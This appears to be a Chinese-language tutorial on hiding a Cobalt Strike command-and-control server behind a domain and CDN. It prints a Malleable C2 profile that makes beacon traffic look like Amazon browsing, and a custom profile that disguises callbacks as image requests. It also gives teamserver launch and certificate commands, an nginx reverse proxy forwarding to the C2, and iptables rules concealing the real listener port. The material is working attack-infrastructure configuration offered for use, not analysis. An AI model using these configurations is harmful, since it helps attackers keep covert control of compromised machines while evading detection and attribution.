CDN和域名隐藏C2地址 | 干货

https://github.com/rsmudge/Malleable-C2-Profiles/blob/master/normal/amazon.profile

## Amazon browsing traffic profile# # Author: @harmj0y#

set sleeptime "5000";set jitter    "0";set maxdns    "255";set useragent "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko";

http-get {

    set uri "/s/ref=nb_sb_noss_1/167-3294888-0262949/field-keywords=books";

    client {

        header "Accept" "*/*";        header "Host" "";

        metadata {            base64;            prepend "session-token=";            prepend "skin=noskin;";            append "csm-hit=s-24KU11BB82RZSYGJ3BDK|1419899012996";            header "Cookie";        }    }

    server {

        header "Server" "Server";        header "x-amz-id-1" "THKUYEZKCKPGY5T42PZT";        header "x-amz-id-2" "a21yZ2xrNDNtdGRsa212bGV3YW85amZuZW9ydG5rZmRuZ2tmZGl4aHRvNDVpbgo=";        header "X-Frame-Options" "SAMEORIGIN";        header "Content-Encoding" "gzip";

        output {            print;        }    }}

http-post {

    set uri "/N4215/adj/amzn.us.sr.aps";

    client {

        header "Accept" "*/*";        header "Content-Type" "text/xml";        header "X-Requested-With" "XMLHttpRequest";        header "Host" "";

        parameter "sz" "160x600";        parameter "oe" "oe=ISO-8859-1;";

        id {            parameter "sn";        }

        parameter "s" "3717";        parameter "dc_ref" "http%3A%2F%2Fwww.amazon.com";

        output {            base64;            print;        }    }

    server {

        header "Server" "Server";        header "x-amz-id-1" "THK9YEZJCKPGY5T42OZT";        header "x-amz-id-2" "a21JZ1xrNDNtdGRsa219bGV3YW85amZuZW9zdG5rZmRuZ2tmZGl4aHRvNDVpbgo=";        header "X-Frame-Options" "SAMEORIGIN";        header "x-ua-compatible" "IE=edge";

        output {            print;        }    }}

./teamserver xxx.xxx.xxx.xxx password az.profile

cobaltstrike.store，proxy.store，ssl.store

cobaltstrike.store ：用于服务端和客户端加密通讯proxy.store：用于浏览器代理也就是browserpivot功能ssl.store证书：如果没有配置https-certificate选项，并且使用的是https监听器那么Cs默认就会使用这个证书

 -certreq            生成证书请求 -changealias        更改条目的别名 -delete             删除条目 -exportcert         导出证书 -genkeypair         生成密钥对 -genseckey          生成密钥 -gencert            根据证书请求生成证书 -importcert         导入证书或证书链 -importpass         导入口令 -importkeystore     从其他密钥库导入一个或所有条目 -keypasswd          更改条目的密钥口令 -list               列出密钥库中的条目 -printcert          打印证书内容 -printcertreq       打印证书请求的内容 -printcrl           打印 CRL 文件的内容 -storepasswd        更改密钥库的存储口令



使用 "keytool -command_name -help" 获取 command_name 的用法

openssl pkcs12 -export -in /usr/local/nginx/cert/public.pem -inkey /usr/local/nginx/cert/private.pem -out abc123.com.p12 -name abc123.com -passout pass:123456keytool -importkeystore -deststorepass 123456 -destkeypass 123456-destkeystore abc123.com.store -srckeystore abc123.com.p12 -srcstoretype PKCS12 -srcstorepass 123456 -alias abc123.com

https://github.com/rsmudge/Malleable-C2-Profiles

https-certificate {    set keystore "abc123.com.store";  #证书名字    set password "123456";    #证书密码}#以上没有配置域名和证书的时候可以先不写

http-get {    set uri "/milu_image/";    client {        header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*l;q=0.8";        # header "Host" "abc123.com";  #域名,还没有配置cloudflare的时候这一行注释掉        header "Referer" "http://www.google.com";        header "Pragma" "no-cache";        header "Cache-Control" "no-cache";        metadata {            netbios;            append ".jpg";  # 传输内容自动追加的后缀            uri-append;        }    }

    server {        header "Content-Type" "img/jpg";        header "Server" "Microsoft-IIS/6.0";        header "X-Powered-By" "ASP.NET";        output {            base64;  # 加密方式（base64、base64url、netbios、netbiosu）            print;        }    }}

http-post {    set uri "/milu_email/";    client {        header "Content-Type" "application/octet-stream";        #header "Host" "abc123.com";  #域名,还没有配置cloudflare的时候这一行注释掉        header "Referer" "http://www.google.com";        header "Pragma" "no-cache";        header "Cache-Control" "no-cache";        id {            netbiosu;            append ".png";            uri-append;        }        output {            base64;            print;        }    }    server {        header "Content-Type" "img/jpg";        header "Server" "Microsoft-IIS/6.0";        header "X-Powered-By" "ASP.NET";        output {            base64;            print;        }    }}

server {

    #配置cs上线有关    set $C2_SERVER https://127.0.0.1:2083;    # set $REDIRECT_DOMAIN https://baidu.com;

    listen 443 ssl default_server;    server_name abc123.com; #你的域名    ssl_certificate /usr/local/nginx/cert/public.pem; #公钥    ssl_certificate_key /usr/local/nginx/cert/private.pem; #私钥



    #设置和cs上线        location / {

            proxy_pass          $C2_SERVER;                        # If you want to pass the C2 server's "Server" header through then uncomment this line            # proxy_pass_header Server;            # expires             off;            # proxy_redirect      off;            # proxy_set_header    Host                $host;            # proxy_set_header    X-Forwarded-For     $proxy_add_x_forwarded_for;            # proxy_set_header    X-Real-IP           $remote_addr;        }

    }

proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; #p配置nginx 转发源ip

iptables -I INPUT -p TCP --dport 2083 -j DROP iptables -I INPUT -s 127.0.0.1 -p TCP --dport 2083 -j ACCEPT service iptables restart